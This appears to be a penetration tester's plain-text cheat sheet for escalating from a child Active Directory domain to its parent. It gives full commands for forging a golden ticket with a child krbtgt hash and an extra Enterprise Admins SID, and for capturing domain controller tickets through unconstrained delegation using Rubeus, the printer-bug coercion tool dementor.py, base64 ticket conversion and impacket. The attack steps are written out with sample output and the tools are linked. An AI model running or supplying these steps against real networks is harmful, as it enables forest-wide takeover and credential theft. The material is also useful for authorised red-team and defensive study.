domainhop.txt

Golden Tickets to hop domains:

Requirements:
Get krbtgt hash from child domain (secretsdump)
Get SID of domain and SID of Enterprise admins group in parent domain (ldapdomaindump/bloodhound)

ticketer.py -nthash
[KRBTGT NT HASH FOR CHILD.PARENT.LOCAL] -domain-sid [SID FOR CHILD.PARENT.LOCAL]
-domain CHILD.PARENT.LOCAL -extra-sid [SID OF ENTERPRISE ADMINS IN PARENT.LOCAL]
[USERNAME IN CHILD.PARENT.LOCAL]

cp [USERNAME].ccache /tmp/krb5cc_0 

Then use impacket with -k

Getting tickets from unconstrained delegation:

Requirements:
Shell a system with unconstrained delegation (typcially DC)

Run Rubeus to wait for tickets:

> execute-assembly  Rubeus.exe monitor /interval:1
[*] Tasked beacon to run .NET program: Rubeus.exe monitor /interval:1


Use "Printer bug" to force authentication:

For python, you can use dementor.py

dementor.py DC01.CHILD.PARENT.LOCAL DC01.PARENT.LOCAL -u [ANY CHILD DOMAIN USER] -p [PASSWORD]
[*]bound to spoolss
[*] getting context handle...
[*] sending RFFPCNEX...
[-] exception DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] done!

Back on Rubeus:
[*] Found new TGT:
User : DCO1$@PARENT.LOCAL


Base64EncodedTicket:

doIFSzCCBUegAwIBBaEDAgEWooIERj<SNIP>

Convert base64 to bytes:
>python3
>> data = 'doIFSzCCBUegAwIBBaEDAgEWooIERj<SNIP>'
>> fileData = base64.urlsafe_b64decode(data.encode('UTF-8'))
• >> with open('ticket.kirbi','wb') as myfile:
... myfile.write(fileData) 


Convert from Kirbi (Rubeus) to ccache (impacket):
ticket_converter.py ../ticket.kirbi ../ticket.ccache
cp ticket.ccache /tmp/krb5cc_0 

Use impacket with -k 

Tools:
https://github.com/SecureAuthCorp/impacket
https://github.com/GhostPack/Rubeus
https://github.com/NotMedic/NetNTLMtoSilverTicket/blob/master/dementor.py

Alternative tools:
Rubeus -> Mimikatz
dementor.py -> printerbug.py / SpoolSample

https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
https://github.com/leechristensen/SpoolSample/

If you don't want to shell a server its possible, but more work:

http://blog.redxorblue.com/2019/12/no-shells-required-using-impacket-to.html
https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/